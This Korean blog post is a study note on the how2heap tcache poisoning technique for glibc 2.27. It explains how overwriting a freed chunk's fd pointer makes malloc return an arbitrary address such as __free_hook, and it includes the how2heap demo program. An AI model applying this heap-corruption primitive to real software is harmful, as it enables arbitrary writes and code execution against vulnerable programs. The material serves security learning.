[how2heap] tcache poisoning
2025. 7. 2. 20:57

https://wargames.ret2.systems/level/how2heap_tcache_poisoning_2.27

대충 2.27 버전만 정리해보았다.

tcache poisoning 이란?

  • tcache에 있는 free chunk의 fd(다음 청크 포인터)를 덮어서, 다음 malloc()이 원하는 주소를 반환하게 만드는 공격 기법
  • free된 청크는 tcache bin에 들어가고 `tcache[0x40] → chunk1 → chunk2 → NULL` 이런식으로 단방향 리스트로 연결이된다.

fd를 덮으면?

  1. 다음 malloc 시 그 주소를 반환하게 된다. (tcache 는 fd를 따라가며 chunk를 pop하기 때문)
  2. double free 보호도 우회가 가능하다. (보호 로직은 fd== tcache[bin]일 때만 탐지가 되기 때문)

free chunk0을 하고, 해당 부분의 fd를 `__free_hook`으로 덮으면?

__free_hook 이라는 원하는 주소를 반환하게 만들 수 있고, 임의 주소에 값 쓰기까지 가능해진다.

tcache -> chunk0 (fd=__free_hook)

malloc () -> returns chunk0
malloc () -> returns __free_hook

 

익스플로잇 흐름

1. 두 버퍼를 malloc하여 할당한다.

2. 두 버퍼를 free한다.

3. fd(8bytes)를 덮어쓸 수 있게 된다.

 

4. 두번 malloc하면, 두번째 malloc이 return하는 주소는 내가 덮어쓴 주소가 된다.

 

5. 마지막으로, exit이나 직접 free를 하던가 해서 free를 하게되면, 원하는 컨트롤이 가능하다.

 

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
	// disable buffering
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
		   "returning a pointer to an arbitrary location (in this case, the stack).\n"
		   "The attack is very similar to fastbin corruption attack.\n");
	printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
		   "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

	size_t stack_var;
	printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

	printf("Allocating 2 buffers.\n");
	intptr_t *a = malloc(128);
	printf("malloc(128): %p\n", a);
	intptr_t *b = malloc(128);
	printf("malloc(128): %p\n", b);

	printf("Freeing the buffers...\n");
	free(a);
	free(b);

	printf("Now the tcache list has [ %p -> %p ].\n", b, a);
	printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
		   "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
	b[0] = (intptr_t)&stack_var;
	printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

	printf("1st malloc(128): %p\n", malloc(128));
	printf("Now the tcache list has [ %p ].\n", &stack_var);

	intptr_t *c = malloc(128);
	printf("2nd malloc(128): %p\n", c);
	printf("We got the control\n");

	assert((long)&stack_var == (long)c);
	return 0;
}

'how2heap' 카테고리의 다른 글

[how2heap] overlapping_chunks  (0) 2025.05.22
let textNodes = document.querySelectorAll("div.tt_article_useless_p_margin.contents_style > *:not(figure):not(pre)"); textNodes.forEach(function(a) { a.innerHTML = a.innerHTML.replace(/`(.*?)`/g, '$1'); });